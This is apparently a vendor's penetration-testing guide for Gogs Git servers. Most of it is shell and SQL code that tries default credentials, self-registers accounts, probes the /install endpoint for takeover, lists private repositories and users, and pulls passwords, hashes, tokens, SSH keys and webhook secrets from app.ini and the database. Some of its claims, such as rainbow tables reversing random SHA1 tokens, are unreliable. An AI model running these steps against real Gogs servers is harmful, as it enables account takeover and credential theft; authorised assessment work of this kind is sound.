Gogs Security Testing: Default Credentials, API Key, Database, and Git Repositories

Gogs is a widely deployed self-hosted Git service — it is the original lightweight Git platform that Gitea was forked from and remains popular for minimal-resource deployments. Key assessment areas: Gogs often has open registration enabled, allowing anyone to self-register and access public repositories; API tokens provide persistent credential-free access to all accessible repositories; the database stores user passwords and SSH keys; and app.ini contains database credentials and SMTP passwords in plaintext. This guide covers systematic Gogs security assessment.

Table of Contents

  1. Open Registration and Default Credential Testing
  2. API Token Access and Repository Enumeration
  3. Database and Configuration Credential Extraction
  4. Gogs Security Hardening

Open Registration and Default Credential Testing

# Gogs — open registration and default credential testing
GOGS_URL="https://git.example.com"

# Check if Gogs allows open registration
SIGNUP=$(curl -s -o /dev/null -w "%{http_code}" "${GOGS_URL}/user/sign_up" 2>/dev/null)
echo "Sign-up page HTTP: $SIGNUP"
# 200 = open registration enabled
# 403 = registration disabled

# Try self-registration with a test account
RESULT=$(curl -s -X POST "${GOGS_URL}/user/sign_up" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c /tmp/gogs_jar \
  -d "_csrf=$(curl -sc /tmp/gogs_jar ${GOGS_URL}/user/sign_up | grep _csrf | grep -oP 'value="\K[^"]+')" \
  -d "user_name=testaudit&email=test@audit.local&password=Audit123!&retype=Audit123!" \
  -o /dev/null -w "%{http_code}" 2>/dev/null)
echo "Self-registration: HTTP $RESULT"

# Default admin credentials — first user registered becomes admin
for CRED in "admin:admin" "gogs:gogs" "git:git" "administrator:admin123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  TOKEN=$(curl -s -u "${USER}:${PASS}" \
    -X POST "${GOGS_URL}/api/v1/users/${USER}/tokens" \
    -H "Content-Type: application/json" \
    -d '{"name":"audit-token"}' 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('sha1',''))" 2>/dev/null)
  [ -n "$TOKEN" ] && echo "SUCCESS ${USER}/${PASS}: token=${TOKEN:0:20}..."
done

# Check if /install is still accessible (re-setup attack)
INSTALL=$(curl -s -o /dev/null -w "%{http_code}" "${GOGS_URL}/install" 2>/dev/null)
echo "/install HTTP: $INSTALL"
# 200 = installation page accessible — full admin takeover possible

API Token Access and Repository Enumeration

# Gogs API — token access and repository enumeration
GOGS_URL="https://git.example.com"
GOGS_TOKEN="your-gogs-api-token"

# Enumerate all accessible repositories
curl -s "${GOGS_URL}/api/v1/repos/search?limit=50&token=${GOGS_TOKEN}" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
repos = d.get('data',[])
print(f'Repositories: {len(repos)}')
for r in repos[:15]:
    print(f'  [{r.get(\"id\")}] {r.get(\"full_name\")}')
    print(f'    private={r.get(\"private\")} stars={r.get(\"stars_count\")}')
    print(f'    url={r.get(\"clone_url\")}')
" 2>/dev/null

# Admin user enumeration (admin only)
curl -s "${GOGS_URL}/api/v1/admin/users?token=${GOGS_TOKEN}" 2>/dev/null | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d, list):
    print(f'Users: {len(d)}')
    for u in d[:10]:
        print(f'  [{u.get(\"id\")}] {u.get(\"login\")} email={u.get(\"email\")} admin={u.get(\"is_admin\")}')
" 2>/dev/null

# Clone a private repository with token
git clone "https://${GOGS_TOKEN}:x-oauth-basic@${GOGS_URL#https://}/owner/private-repo.git" \
  /tmp/cloned_repo 2>/dev/null && {
  echo "Repository cloned:"
  ls /tmp/cloned_repo
  # Search for secrets in cloned repository
  grep -rE "(password|secret|api_key|token|AWS|AKIA)" /tmp/cloned_repo \
    --include="*.env*" --include="*.conf*" --include="*.yml*" 2>/dev/null | head -20
}

Database and Configuration Credential Extraction

# Gogs database and configuration credential extraction

# app.ini — main Gogs configuration file
find / -name "app.ini" -path "*/gogs/*" 2>/dev/null | head -3
cat /data/gogs/conf/app.ini 2>/dev/null | grep -A20 '\[database\]'
# Contains: DB_TYPE, HOST, NAME, USER, PASSWD (plaintext database password)
cat /data/gogs/conf/app.ini 2>/dev/null | grep -A10 '\[mailer\]'
# Contains: PASSWD (SMTP password in plaintext)
cat /data/gogs/conf/app.ini 2>/dev/null | grep -E "SECRET|PASSWD|PASSWORD|KEY" | head -10

# SQLite database (for SQLite deployments)
find / -name "gogs.db" 2>/dev/null | head -3
DB_PATH="/data/gogs/data/gogs.db"
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
-- All users
SELECT id, lower_name, name, email,
       passwd,       -- hashed password
       passwd_hash_algo, -- pbkdf2 or argon2
       salt,
       is_admin,
       login_source,
       created_unix
FROM user
ORDER BY is_admin DESC, id;
EOF

-- All API access tokens (stored as SHA1 hashes but SHA1 is reversible via rainbow tables)
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT u.name as user, at.name as token_name,
       at.sha1 as token_hash,
       at.created_unix
FROM access_token at
JOIN user u ON at.uid = u.id
ORDER BY at.created_unix DESC;
EOF

-- All SSH keys
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT u.name as user, pk.name as key_name,
       pk.fingerprint, pk.type,
       pk.created_unix
FROM public_key pk
JOIN user u ON pk.owner_id = u.id
ORDER BY pk.created_unix DESC;
EOF

-- Webhook secrets (may contain API keys/tokens for external services)
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT hw.repo_id, hw.events, hw.content_type,
       hw.url, hw.secret  -- webhook secret in plaintext
FROM webhook hw
ORDER BY hw.repo_id;
EOF

# Docker environment
docker inspect gogs 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        print(e)
" 2>/dev/null

Gogs Security Hardening

Gogs Security Hardening Checklist:
Security TestMethodRisk
Open registration exploitation and admin account creationPOST /user/sign_up — self-register if registration enabled; first registered user is admin; unauthorized admin account creation on uninitialized instancesCritical
API token generation and repository enumerationPOST /api/v1/users/{user}/tokens then GET /api/v1/repos/search — persistent API access; all accessible repository enumeration including private repos; source code and secrets extractionHigh
app.ini plaintext database and SMTP credential extractionRead app.ini PASSWD fields — database password and SMTP password in plaintext; complete database access enabling all user data extractionHigh
SQLite user table password hash extractionSELECT passwd FROM user — pbkdf2 or argon2 password hashes; offline cracking for weak passwords; SSH public key enumerationHigh
/install endpoint re-setup attackGET /install — if accessible, complete application reconfiguration with new admin credentials; full system takeoverCritical

Automate Gogs Security Testing

Ironimo tests Gogs deployments for open registration exploitation and admin account creation, /install endpoint accessibility for re-setup attacks, default admin credential testing, API token generation and repository enumeration, app.ini plaintext PASSWD credential extraction, SQLite user password hash and SSH key enumeration, webhook secret plaintext extraction, public repository secret scanning, REQUIRE_SIGNIN_VIEW bypass, and CVE-based vulnerability assessment for unpatched Gogs versions.

Start free scan